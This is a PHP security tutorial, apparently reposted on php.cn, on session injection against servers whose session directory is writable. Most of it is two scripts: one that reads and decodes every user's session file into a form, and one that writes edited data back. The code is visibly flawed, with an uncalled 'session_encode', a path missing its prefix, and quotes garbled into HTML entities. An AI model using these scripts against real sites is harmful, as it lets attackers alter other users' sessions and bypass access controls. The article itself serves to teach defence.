PHP Security - Session Injection

黄舟
Release: 2023-03-05 20:46:02
Original
1081 people have browsed it



Session Injection

A similar problem to session exposure is session injection. This type of attack is based on your WEB server not only having read permissions to the session storage directory, but also having write permissions. Therefore, it is possible to write a script that allows other users to add, edit or delete sessions. The following example shows an HTML form that allows users to easily edit existing session data:

<?php
 
  session_start();
 
  ?>
 
  <form action="inject.php" method="POST">
 
  <?php
 
  $path = ini_get(&#39;session.save_path&#39;);
  $handle = dir($path);
 
  while ($filename = $handle->read())
  {
    if (substr($filename, 0, 5) == &#39;sess_&#39;)
    {
      $sess_data =
file_get_contents("$path/$filename");
 
      if (!empty($sess_data))
      {
        session_decode($sess_data);
        $sess_data = $_SESSION;
        $_SESSION = array();
 
        $sess_name = substr($filename, 5);
        $sess_name = htmlentities($sess_name,
ENT_QUOTES, &#39;UTF-8&#39;);
        echo "<h1>Session
[$sess_name]</h1>";
 
        foreach ($sess_data as $name =>
$value)
        {
          $name = htmlentities($name, ENT_QUOTES,
&#39;UTF-8&#39;);
          $value = htmlentities($value, ENT_QUOTES,
&#39;UTF-8&#39;);
          echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
        }
 
        echo &#39;<br />&#39;;
      }
    }
  }
 
  $handle->close();
 
  ?>
 
  <input type="submit" />
  </form>
Copy after login


The script inject.php performs the modifications specified by the form:

 <?php
 
  session_start();
 
  $path = ini_get(&#39;session.save_path&#39;);
 
  foreach ($_POST as $sess_name =>
$sess_data)
  {
    $_SESSION = $sess_data;
    $sess_data = session_encode;
 
    file_put_contents("$path/$sess_name",
$sess_data);
  }
 
  $_SESSION = array();
 
  ?>
Copy after login


Such attacks are extremely dangerous. An attacker can edit not only your users' data, but also his own session data. It is more powerful than session hijacking because the attacker can select all session data for modification, making it possible to bypass access restrictions and other security measures.

The best solution to this problem is to save the session data in the database. See shown in the previous section.


The above is the content of PHP security-session injection. For more related content, please pay attention to the PHP Chinese website (www.php.cn)!


Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template